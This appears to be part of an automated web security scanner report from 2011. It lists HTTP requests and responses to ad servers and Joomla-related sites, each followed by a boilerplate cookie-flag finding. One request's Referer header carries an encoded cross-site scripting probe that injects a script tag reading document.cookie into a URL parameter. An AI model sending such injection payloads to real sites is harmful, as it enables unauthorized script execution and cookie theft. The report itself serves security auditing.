HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:03:47 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.keenanauction.com/auction.cgi?&i=2039 Content-Length: 329 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.keenanauction.com/auction.cgi?&i ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/762543895/x03/Dom_Ent/Keenan-Sound-TileAd/125x125_keenan_0111_new.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:40:37 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.keenanauction.com/auction.cgi?&i=2039 Content-Length: 329 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.keenanauction.com/auction.cgi?&i ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/783502762/Middle/Dom_Ent/House-Sound-Bnr-Middle/dispatches_600x100.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 16:36:56 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.soundingsonline.com/subscription-services/subscribe-to-e-newsletter Content-Length: 355 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.soundingsonline.com/subscription-ser ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/810025955/x02/Dom_Ent/AtlanticCity-Sound-TileAd/125x125_ac_0111.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 16:23:02 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.acboatshow.com/ Content-Length: 303 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.acboatshow.com/">here</a>.</p> <hr>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/844694778/Middle/Dom_Ent/House-Sound-Bnr-Middle/dispatches_600x100.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:38:30 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.soundingsonline.com/subscription-services/subscribe-to-e-newsletter Content-Length: 355 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.soundingsonline.com/subscription-ser ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/861795507/x01/Dom_Ent/Keenan-Sound-TileAd/125x125_keenan_0111_new.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 16:30:51 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.keenanauction.com/auction.cgi?&i=2039 Content-Length: 329 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.keenanauction.com/auction.cgi?&i ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/870635499/x03/Dom_Ent/AtlanticCity-Sound-TileAd/125x125_ac_0111.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:41:12 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.acboatshow.com/ Content-Length: 303 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.acboatshow.com/">here</a>.</p> <hr>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/879719656/Top/Dom_Ent/SoundingsDisplatches-Sound-Bnr-728x90-Defender/dispatches_defender2.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:05:51 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.soundingsonline.com/subscription-services/subscribe-to-e-newsletter Content-Length: 355 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.soundingsonline.com/subscription-ser ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/888728536/Top/Dom_Ent/SoundingsDisplatches-Sound-Bnr-728x90-Defender/dispatches_defender2.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:40:52 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.soundingsonline.com/subscription-services/subscribe-to-e-newsletter Content-Length: 355 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.soundingsonline.com/subscription-ser ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/897548153/Middle/Dom_Ent/House-Sound-Bnr-Middle/dispatches_600x100.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 16:26:09 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.soundingsonline.com/subscription-services/subscribe-to-e-newsletter Content-Length: 355 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.soundingsonline.com/subscription-ser ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/919674125/x02/Dom_Ent/NovaScotia-Sound-TileAd/125x125_novascotia_0111.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 16:32:38 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.nsboats.com/ Content-Length: 300 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.nsboats.com/">here</a>.</p> <hr> <ad ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/927498208/x04/Dom_Ent/AtlanticCity-Sound-TileAd/125x125_ac_0111.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:41:54 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.acboatshow.com/ Content-Length: 303 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.acboatshow.com/">here</a>.</p> <hr>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/932017176/x02/Dom_Ent/CMTA-Sound-TileAd/cmta_0111.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:38:13 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.gssdesign.com/cmta_landing11/ Content-Length: 317 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.gssdesign.com/cmta_landing11/">here< ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/976058214/x01/Dom_Ent/Keenan-Sound-TileAd/125x125_keenan_0111_new.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:39:56 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.keenanauction.com/auction.cgi?&i=2039 Content-Length: 329 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.keenanauction.com/auction.cgi?&i ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/987149795/Right1/Dom_Ent/House-Sound-Btn/snd_cc_300x100120109.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 16:20:05 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.marinalife.com/soundings Content-Length: 312 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.marinalife.com/soundings">here</a>.< ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/991358723/x03/Dom_Ent/NovaScotia-Sound-TileAd/125x125_novascotia_0111.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:42:16 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.nsboats.com/ Content-Length: 300 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.nsboats.com/">here</a>.</p> <hr> <ad ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:37:59 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 3078 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Right1') { document.write ('<a href="http://www.anrdoezrs.net/p979p-85-7NRVUUUSVNPOSUXTWU" target="_blank" onmouseover="window.status='); document.write ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: opensourcematters.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:46:55 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 1f72ba4da1bac63277a9607bcca06e80=5576152988b79363ffc0a34c946e44b9; path=/ Last-Modified: Mon, 24 Jan 2011 22:46:55 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 6332
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <he ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /contact.html HTTP/1.1 Host: opensourcematters.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:46:51 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 1f72ba4da1bac63277a9607bcca06e80=d2d8c73a1667c7bf1a7b8a5be9bb382a; path=/ Last-Modified: Mon, 24 Jan 2011 22:46:52 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 7725
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <he ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /index.php HTTP/1.1 Host: opensourcematters.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:46:55 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 1f72ba4da1bac63277a9607bcca06e80=78e39bdbad81bd41991ff68e380b3c74; path=/ Last-Modified: Mon, 24 Jan 2011 22:46:55 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 6341
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <he ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /register-your-group.html HTTP/1.1 Host: opensourcematters.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Component not found Date: Mon, 24 Jan 2011 22:46:55 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 1f72ba4da1bac63277a9607bcca06e80=8003f7552ba6924d0dd091b0cd1df613; path=/ Last-Modified: Mon, 24 Jan 2011 22:46:55 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 1390
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" dir=" ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /support-joomla.html HTTP/1.1 Host: opensourcematters.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:46:55 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 1f72ba4da1bac63277a9607bcca06e80=24aa78d1150500c038af95a02f90a621; path=/ Last-Modified: Mon, 24 Jan 2011 22:46:56 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 207691
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <he ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /dynamic_btx/118_12345 HTTP/1.1 Host: pc3.yumenetworks.com Proxy-Connection: keep-alive Referer: http://www.autocheck.com/?WT.mc_id=1824&siteID=182471a71%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6dab831a574 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:19:11 GMT Cache-Control: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache YmBtHdr: @BT118_1_0 Set-Cookie: ymbt=0rO0ABXcQAAAAAQAAAHYAAARgAAAAAA**; Domain=.yumenetworks.com; Expires=Sat, 26-Mar-2011 02:19:11 GMT; Path=/ Content-Type: image/gif Content-Length: 43 P3P: policyref="http://ads.yumenetworks.com/P3P/PolicyReferences.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: people.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:47:57 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 33e27d3d0725f34a77c307be63476b5b=df72bb7ce303a3507e4fbb9caac60af7; path=/ Set-Cookie: currentURI=http%3A%2F%2Fpeople.joomla.org%2F; expires=Tue, 25-Jan-2011 22:47:57 GMT; path=/ Last-Modified: Mon, 24 Jan 2011 22:47:57 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 104112
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > < ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
